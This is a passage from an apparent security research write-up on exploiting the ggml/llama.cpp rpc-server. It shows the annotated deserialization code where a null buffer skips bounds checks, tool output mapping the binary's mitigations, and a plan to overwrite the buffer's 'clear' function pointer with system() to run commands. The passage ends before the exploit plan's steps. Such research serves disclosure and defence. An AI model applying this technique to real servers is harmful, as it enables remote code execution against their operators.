    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_blck_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// [2] Allocate tensor metadata&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ggml_tensor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_new_tensor_4d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GGML_MAX_DIMS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// [3] Buffer resolution&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;reinterpret_cast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// [4] BOUNDS CHECK -- ONLY RUNS WHEN result-&amp;gt;buffer IS NOT NULL&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor_size&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_nbytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_get_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_get_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;GGML_ASSERT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;GGML_ASSERT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ^^^^ ENTIRE BLOCK SKIPPED when buffer == 0&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// [5] Data pointer assigned UNCONDITIONALLY&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;reinterpret_cast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// &amp;lt;-- ARBITRARY ADDRESS&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ggml_set_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Non-null -- enters the compute graph&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The bounds check at step [4] is conditional on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;result-&amp;gt;buffer != nullptr&lt;/code&gt;, but the data pointer assignment at step [5] is unconditional. Set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer = 0&lt;/code&gt;, and you skip all validation while still controlling where ggml reads and writes. One missing condition.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-security-landscape&quot;&gt;The Security Landscape&lt;/h2&gt;

&lt;p&gt;Before diving into the exploit, let’s map the defenses. I ran the standard analysis against the compiled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpc-server&lt;/code&gt; binary:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@casp3r-virtual-machine:/home/casp3r/research2/compiled# checksec rpc-server 
[*] &apos;/home/casp3r/research2/compiled/rpc-server&apos;
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b&apos;$ORIGIN&apos;
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;also :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file compiled/rpc-server
rpc-server: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux),
            dynamically linked, not stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;PIE:&lt;/strong&gt; Randomizes the binary’s base address on every execution. Hardcoded addresses won’t work.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ readelf -d rpc-server | grep FLAGS
 0x000000000000001e (FLAGS)              BIND_NOW
 0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Full RELRO:&lt;/strong&gt; The GOT is resolved at load time and marked read-only. Can’t overwrite GOT entries.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ readelf -l rpc-server | grep -A1 GNU_STACK
  GNU_STACK      ...  RW  0x10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;NX:&lt;/strong&gt; The stack is non-executable. No shellcode.&lt;/p&gt;

&lt;p&gt;PIE + Full RELRO + NX. The modern security mitigations. No shellcode injection, no GOT overwrite, no hardcoded return addresses. The exploit has to find another way.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-attack-surface-ggml_backend_buffer_t&quot;&gt;The Attack Surface: ggml_backend_buffer_t&lt;/h2&gt;

&lt;p&gt;With Full RELRO blocking GOT overwrites and NX blocking shellcode, I needed a different approach. The key insight: the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_buffer_t&lt;/code&gt; struct is a heap-allocated object containing &lt;strong&gt;function pointers in plain, writable memory&lt;/strong&gt;. Full RELRO protects &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;, but it does nothing to protect heap objects.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ggml/src/ggml-backend-impl.h:41&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;free_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// +0x00&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// +0x08&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_status&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;init_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(...);&lt;/span&gt;                         &lt;span class=&quot;c1&quot;&gt;// +0x10&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memset_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x18&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x20&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x28&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpy_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x30&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x38&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;(...);&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x40&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_i&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;iface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;// +0x00  (72 bytes of function pointers)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_type_t&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;buft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// +0x48&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                         &lt;span class=&quot;c1&quot;&gt;// +0x50&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                            &lt;span class=&quot;c1&quot;&gt;// +0x58&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ggml_backend_buffer_usage&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;usage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;// +0x60&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When the server calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BUFFER_CLEAR(buffer)&lt;/code&gt;, it goes through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer-&amp;gt;iface.clear(buffer, value)&lt;/code&gt;. If I overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface.clear&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; from libc, the server calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system(buffer)&lt;/code&gt; – and since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; is the first argument (in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$rdi&lt;/code&gt; on x86-64), it gets interpreted as a command string.&lt;/p&gt;

&lt;p&gt;The plan:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Allocate a staging buffer (gives us a known heap object + data region)&lt;/li&gt;
